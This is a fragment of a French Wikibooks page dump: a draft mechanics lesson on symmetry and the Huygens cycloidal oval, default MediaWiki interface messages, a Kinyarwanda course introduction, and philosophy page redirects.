construites les pyramides) Mécanique, enseignée via l'histoire des sciences, intermède: la symétrie 8869 47127 2006-07-02T08:54:44Z Guerinsylvie 928 /* l'ovale de Huygens */ le raisonnement par symétrie est toujours un supplément non négligeable. Il ne s'agira ici que de simples symétries élémentaires. == Symétrie d'échelle ( scaling) == Soit une équation du mouvement du type d²x/dt² = g(x) (équation dite de Newton) avec la primitive de g(x) de forme -k|x|^n. Soit une solution dans le plan de phase correspondant à (Xo,Vo). On a déjà vu le cas n=1 , qui était "l'horloge de Torricelli. On avait vu que pour une énergie E , l'action était en E^(3/2) et T(E) en E^1/2. Très vite Newton, puis d'autres (cf Whittaker ou Appell) ont compris que ce résultat ne dépendait pas de l'équation différentielle , mais simplement de l'analyse dimmensionnelle. == Symérie de Corinne == Corinne fît remarquer que si t était changé en it dans 1/2 gt² , alors il suffisait de changer g en -g pou retomber sur l'équation initiale . D'une manière générale d²x/dt² = g(x) ne change pas si on prend g(x) change en -g(x). Inutile donc de refaire les raisonnements pour -g(x)! Si par exemple la forme d'une corde est une chaînette sous l'action de son poids , alors la chaînette opposée tient sans culée de voûte. L'architecte catalan Gaudi s'en servira pour construire la Sagreda familia à Barcelone. Dans le cas de Newton, si la solution est "elliptique" , elle deveindra "hyperbolique" , si le mouvement est répulsif. Etc. == Exercices == === l'ovale de Huygens === soit un ovale de Huygens, c'est à dire , la courbe fermée formée de deux cycloîdes z = (+/-)a (1- cos phi) et x = a( phi- sin phi); quelques calculs classiques de Dettonville(1659) montrent que la longueur d'une demi-arche est 4a ( soit pour l'ovale entier 16a). Soit une perle pesante glissant le long de cette courbe verticale; on compte son énergie E = 1/2mVo² à partir du bas ( A (Pi.a, -2a) de la courbe );la masse n'intervenant pas (loi de Galilée(1564-1642)) on prendra m =1 . la pesanteur est constante , égale à g. On demande de tracer les orbites de phase ( cf plan de phase , OQ := (s ; ds/dt)) en fonction de E , de trouver l'action S(E) et la période T(E) du mouvement périodique (Huygens(1659)); on comparera avec l'exercice suivant ( plus difficile!)l'ovale est cette fois le cercle de rayon 4R. ====réponse: ovale de Huygens ==== ébauche Il est remarquable que ce genre d'exercice se résolve seulement avec le principe de Torricelli : v² +2g z(s) = Vo². Il y a bien sûr une très forte analogie entre les deux mouvements,l'ovale et le cercle; et les orbites de phase vont donc se ressembler beaucoup. Le cas circulaire, dit du pendule simple est évidemment beaucoup plus difficile à résoudre, et on est redevable au génie inventif de Huygens d'avoir pensé aux travaux de géométrie de Roberval et Torricelli, [puis au concours proposé par Dettonville(1658-1659)?], pour faire sa théorie cinématique du pendule simple. Le premier cas évident est celui de la révolution très rapide d'énergie E très grande ( donc Vo² très grande): la particule en haut de l'ovale de hauteur 2H [point B(pi.a;2a)] est a pour vitesse V(B) = Vo. sqrt(1 - 4gH/Vo²) ~ Vo -2gH/Vo : donc en gros l'orbite de phase est une courbe quasi rectiligne qui court de gauche à droite sur la longueur s = une circonférence = 16a dans le cas de l'ovale et s= 2Pi.4R pour le cercle. Au debut v diminue, puis v rattrape sa valeur: l'orbite de phase est donc légèrement ondulée. Selon la théorie de la leçon du diagramme horaire la période pour un tour est > circonférence/[V(A) + V(B)]/2 = circonférence / sqrt( Vo²-2ga). Dans le cas de l'ovale , partant de A (avec s= 0), quelques calculs très classiques de géométrie donnent : h(s) = s²/8a : et Huygens attendait une telle courbe depuis sa bonne compréhension de l'énoncé du principe de Torricelli : v² = Vo² - g.s²/4a et donc d²s/dt² = - w² s avec w² = g/4a : le mouvement est très banal au début : s= Vo/w . sin wt , et v= Vo( 1- cos wt).Elle dure évidemment le temps T = 1/w . arcsin(4aw/Vo). La deuxième partie du mouvement démarre à partir de O(0;0): la hauteur z(s) varie de même : z(s) = 2a -( s-8a)²/8a et donc l'équation devient rapportée à l'origine de B(Pi.a ; 2a): z(S) = 2a - S²/8a. soit h(S) =4a - S²/8a et la vitesse (comptée à partir de B) [dS/dt]² = V²(B) + g S²/4a , dont la dérivée donne d²S/dt² - gS/4a = 0 et la solution est : S = V(B)/w . sh(w(t-T(B)); tout ceci en conformité avec la symétrie de Corinne. Et donc dS/dt = V(B) ch (w(t-T(B)); avec V(B)² -Vo² = -8ga , et le temps de montée est donc T1 =1/w .argsinh 4aw/V(B); la particule redescend symétriquement le monticule de Huygens et repasse donc en O' (2Pi.a;0) au temps T/4 + 2T1 et retournera en A après une chemin de 16a au temps T/2 + 2T1. Pour des raisons ultérieures , nous appellerons periode du mouvement la quantité : T(E) = T +4T1 = , expression évidemment beaucoup plus simple que celle de la trajectoire circulaire. MediaWiki:Common.css 8870 46655 2006-07-01T18:48:47Z MediaWiki default /** CSS placed here will be applied to all skins */ MediaWiki:Accesskey-watch 8871 46661 2006-07-01T18:48:48Z MediaWiki default w MediaWiki:Accountcreated 8872 46663 2006-07-01T18:48:48Z MediaWiki default Compte créé. MediaWiki:Accountcreatedtext 8873 46664 2006-07-01T18:48:48Z MediaWiki default Le compte utilisateur pour $1 a été créé. MediaWiki:Autoredircomment 8874 46690 2006-07-01T18:48:48Z MediaWiki default Redirecting to [[$1]] MediaWiki:Blockededitsource 8875 46694 2006-07-01T18:48:48Z MediaWiki default The text of '''your edits''' to '''$1''' is shown below: MediaWiki:Blockedoriginalsource 8876 46695 2006-07-01T18:48:48Z MediaWiki default The source of '''$1''' is shown below: MediaWiki:Boteditletter 8877 46701 2006-07-01T18:48:48Z MediaWiki default b MediaWiki:Cannotundelete 8878 46703 2006-07-01T18:48:48Z MediaWiki default Undelete failed; someone else may have undeleted the page first. MediaWiki:Catseparator 8879 46705 2006-07-01T18:48:48Z MediaWiki default | MediaWiki:Clearwatchlist 8880 46707 2006-07-01T18:48:48Z MediaWiki default Nettoyer votre liste de suivi MediaWiki:Confirmemail needlogin 8881 46715 2006-07-01T18:48:48Z MediaWiki default Vous devez vous $1 pour confirmer votre adresse de courriel. MediaWiki:Displaytitle 8882 46741 2006-07-01T18:48:48Z MediaWiki default (Lier vers cette page comme [[$1]]) MediaWiki:Editinginterface 8883 46747 2006-07-01T18:48:48Z MediaWiki default '''Attention :''' Vous éditez une page utilisée pour fournir le texte de l'interface du logiciel. Les modifications affecteront l'apparence de l'interface pour les autres utilisateurs. MediaWiki:Editold 8884 46748 2006-07-01T18:48:48Z MediaWiki default modifier MediaWiki:Export-submit 8885 46765 2006-07-01T18:48:49Z MediaWiki default Export MediaWiki:Feed-invalid 8886 46771 2006-07-01T18:48:49Z MediaWiki default Invalid subscription feed type. MediaWiki:Filewasdeleted 8887 46780 2006-07-01T18:48:49Z MediaWiki default Un fichier avec ce nom a déjà été copié, puis supprimé. Vous devriez vérifier le $1 avant de procéder à une nouvelle copie. MediaWiki:Group 8888 46784 2006-07-01T18:48:49Z MediaWiki default Groupe : MediaWiki:Group-all 8889 46785 2006-07-01T18:48:49Z MediaWiki default (tous) MediaWiki:Group-bot 8890 46786 2006-07-01T18:48:49Z MediaWiki default Bots MediaWiki:Group-bot-member 8891 46787 2006-07-01T18:48:49Z MediaWiki default Bot MediaWiki:Group-bureaucrat 8892 46788 2006-07-01T18:48:49Z MediaWiki default Bureaucrates MediaWiki:Group-bureaucrat-member 8893 46789 2006-07-01T18:48:49Z MediaWiki default Bureaucrate MediaWiki:Group-steward 8894 46790 2006-07-01T18:48:49Z MediaWiki default Stewards MediaWiki:Group-steward-member 8895 46791 2006-07-01T18:48:49Z MediaWiki default Steward MediaWiki:Group-sysop 8896 46792 2006-07-01T18:48:49Z MediaWiki default Administrateurs MediaWiki:Group-sysop-member 8897 46793 2006-07-01T18:48:49Z MediaWiki default Administrateur MediaWiki:Grouppage-bot 8898 46794 2006-07-01T18:48:49Z MediaWiki default {{ns:project}}:Bots MediaWiki:Grouppage-bureaucrat 8899 46795 2006-07-01T18:48:49Z MediaWiki default Projet:Bureaucrates MediaWiki:Grouppage-sysop 8900 46796 2006-07-01T18:48:49Z MediaWiki default Projet:Administrateurs MediaWiki:History-feed-description 8901 46801 2006-07-01T18:48:49Z MediaWiki default Revision history for this page on the wiki MediaWiki:History-feed-empty 8902 46802 2006-07-01T18:48:49Z MediaWiki default The requested page doesn't exist. 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MediaWiki:Undeletedrevisions-files 8960 47061 2006-07-01T18:48:51Z MediaWiki default $1 revisions and $2 file(s) restored MediaWiki:Undeleteextrahelp 8961 47062 2006-07-01T18:48:51Z MediaWiki default Pour restaurer toutes les versions de cette page, laissez vierges toutes les cases à cocher, puis cliquez sur '''''Procéder à la restauration'''''.<br />Pour procéder à une restauration sélective, cochez les cases correspondant aux versions qui sont à restaurer, puis cliquez sur '''''Procéder à la restauration'''''.<br />En cliquant sur le bouton '''''Réinitialiser''''', la boîte de résumé et les cases cochées seront remises à zéro. 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Le kinyarwanda est très proche du Kirundi parlé au Burundi. Kinyarwanda et kirundi sont considérés comme deux variantes d'une même langue. ==Table des matières== # [[Enseignement du kinyarwanda – Introduction|Introduction]] # [[Enseignement du kinyarwanda – Euphonie et collisions|Euphonie et collisions]] # [[Enseignement du kinyarwanda – Substantifs|Substantif]] # [[Enseignement du kinyarwanda – Nombres|Nombre]] # [[Enseignement du kinyarwanda – Adjectif qualificatif|Adjectif qualificatif]] # [[Enseignement du kinyarwanda – Démonstratif|Démonstratif]] # [[Enseignement du kinyarwanda – Possessif|Possessif]] # [[Enseignement du kinyarwanda – Pronom personnel|Pronom personnel]] # [[Enseignement du kinyarwanda – Verbes|Verbes]] # [[Enseignement du kinyarwanda – Conversation|Conversation]] [[Catégorie:Langue|Kinyarwanda]] [[en:Kinyarwanda]] Enseignement du Kinyarwanda 8977 47138 2006-07-02T18:05:00Z Inisheer 631 [[Enseignement du Kinyarwanda]] déplacé vers [[Enseignement du kinyarwanda]]: casse #REDIRECT [[Enseignement du kinyarwanda]] Catégorie:Kinyarwanda 8978 47139 2006-07-02T18:05:24Z Inisheer 631 et hop Le kinyarwanda est une langue batoue parlée au Rwanda et dans l'est de la République Démocratique du Congo par près de 9 millions de personnes. Le kinyarwanda est très proche du Kirundi parlé au Burundi. Kinyarwanda et kirundi sont considérés comme deux variantes d'une même langue. [[Catégorie:Langue]] Enseignement du kinyarwanda – Introduction 8979 47147 2006-07-02T22:18:40Z Inisheer 631 /* Grammaire */ +euphonie [[Image:DirtRoadRwanda.jpg|right|300px]] Le kinyarwanda est une langue batoue parlée au Rwanda et dans l'est de la République Démocratique du Congo par près de 9 millions de personnes. Le kinyarwanda est très proche du Kirundi parlé au Burundi. Kinyarwanda et kirundi sont considérés comme deux variantes d'une même langue. Le kinyarwanda utilise l'alphabet latin. Les Rwandais ne connaissaient pas l'écriture, ce sont les missionnaires qui se sont chargés de transcrire la langue au début du XX<sup>e</sup> siècle (le père Van der Burgt publia la première ''grammaire du kirundi'' en 1902). Aujourd'hui, la mémoire orale occupe toujours une place prépondérante dans la culture rwandaise. Lire et écrire le kinyarwanda ne pose pas de grands problèmes, chaque lettre correspondant à un son et inversément. Il n'y a pas de lettre muette. La prononciation est identique dans les grandes lignes au français, sauf certains sons propres à la langue. ==Particularités du kinyarwanda== ===Grammaire=== Pour une personne de langue maternelle française, les bases de la grammaire du kinyarwanda ont quelque chose de déroutant. Parmi les particularités de la syntaxe, on peut citer: ;Les classes de préfixes: Il n'y a pas de genre (masculin – féminin) en kinyarwanda). Les substantifs sont rangés dans huit classes sémantiques qui correspondent chacune à une catégorie sémantique différente (ex. : humain, individu, groupe, notion abstraite, etc.). ;Le système des temps: Le choix du temps d'un verbe n'obéit pas aux mêmes critères qu'en français. On trouve par exemple trois formes différentes pour le passé selon que l'action est assortie d'un complément ou non, ou si elle est située par rapport à un autre événement. ;Rôle prépondérant du verbe: Grâce à un système complexe de préfixes et suffixes, le verbe supporte la plus grande partie du sens de la phrase. ;Euphonie: Le kinyarwanda est très sensible à l'euphonie. Ainsi, une syllabe «dure» est en principe suivie d'une syllabe «douce» et inversément. Les préfixes peuvent revêtir deux formes en fonction du radical qu'ils précèdent. Par exemple, ''ku-'', préfixe de l'infinitif, devient ''gu-'' devant un radical commençant par une consonne dure (''kurya'', mais ''guterera'', et non pas ''kuterera'' ou ''gurya''). Les collisions entre les lettres des préfixes et des radicaux auxquels ils sont apondus sont régies par une série de règles complexes. ===Tons=== Le kinyarwanda une langue tonale : le sens des mots est différent selon la prononciation. ''Exemples'': * umusambi ('''a''' modulé aigu-grave) = grue couronnée ; * umusambi ('''a'' grave long) = natte. * nagiye ('''a''' grave) = je suis parti ; * nagiye ('''a''' aigu) = alors que j'étais parti. Contrairement à d'autres langues non latines transcrites en alphabet latin, comme le vietnamien par exemple, il n'existe pas de système de diacritiques pour transcrire les tons. Par écrit, le sens des mots se déduit à partir du contexte. [[Catégorie:Kinyarwanda|Introduction]] Histoire de la philosophie 8980 47166 2006-07-03T08:04:49Z Guillaumito 46 [[Histoire de la philosophie]] déplacé vers [[Philosophie/Histoire de la philosophie]]: Convention de nommage #REDIRECT [[Philosophie/Histoire de la philosophie]] Faire le vrai 8982 47170 2006-07-03T08:05:32Z Guillaumito 46 [[Faire le vrai]] déplacé vers [[Philosophie/Faire le vrai]]: Convention de nommage #REDIRECT [[Philosophie/Faire le vrai]] Wikilivres:Portail Friedrich Nietzsche 8984 47176 2006-07-03T08:11:22Z Guillaumito 46 [[Wikilivres:Portail Friedrich Nietzsche]] déplacé vers [[Portail:Friedrich Nietzsche]]: Nietzsche, avec tout le respect que je lui dois, n'a rien a faire dans l'espace de noms Wikilivres. #REDIRECT [[Portail:Friedrich Nietzsche]] Histoire de la philosophie - La philosophie antique 8986 47182 2006-07-03T08:25:40Z Guillaumito 46 [[Histoire de la philosophie - La philosophie antique]] déplacé vers [[Philosophie/Histoire de la philosophie/La philosophie antique]]: Convention de nommage #REDIRECT [[Philosophie/Histoire de la philosophie/La philosophie antique]] Histoire de la philosophie - La philosophie médiévale 8988 47186 2006-07-03T08:26:19Z Guillaumito 46 [[Histoire de la philosophie - La philosophie médiévale]] déplacé vers [[Philosophie/Histoire de la philosophie/La philosophie médiévale]]: Convention de nommage #REDIRECT [[Philosophie/Histoire de la philosophie/La philosophie médiévale]] Histoire de la philosophie - La philosophie classique 8989 47188 2006-07-03T08:26:56Z Guillaumito 46 [[Histoire de la philosophie - La philosophie classique]] déplacé vers [[Philosophie/Histoire de la philosophie/La philosophie classique]]: Convention de nommage #REDIRECT [[Philosophie/Histoire de la philosophie/La philosophie classique]] Histoire de la philosophie - La philosophie des Lumières 8990 47190 2006-07-03T08:27:22Z Guillaumito 46 [[Histoire de la philosophie - La philosophie des Lumières]] déplacé vers [[Philosophie/Histoire de la philosophie/La philosophie des Lumières]]: Convention de nommage #REDIRECT [[Philosophie/Histoire de la philosophie/La philosophie des Lumières]] Histoire de la philosophie - Le XIXème siècle 8991 47192 2006-07-03T08:27:59Z Guillaumito 46 [[Histoire de la philosophie - Le XIXème siècle]] déplacé vers [[Philosophie/Histoire de la philosophie/Le XIXème siècle]]: Convention de nommage #REDIRECT [[Philosophie/Histoire de la philosophie/Le XIXème siècle]] Histoire de la philosophie - La philosophie au XXème siècle 8992 47194 2006-07-03T08:28:29Z Guillaumito 46 [[Histoire de la philosophie - La philosophie au XXème siècle]] déplacé vers [[Philosophie/Histoire de la philosophie/La philosophie au XXème siècle]]: Convention de nommage #REDIRECT [[Philosophie/Histoire de la philosophie/La philosophie au XXème siècle]]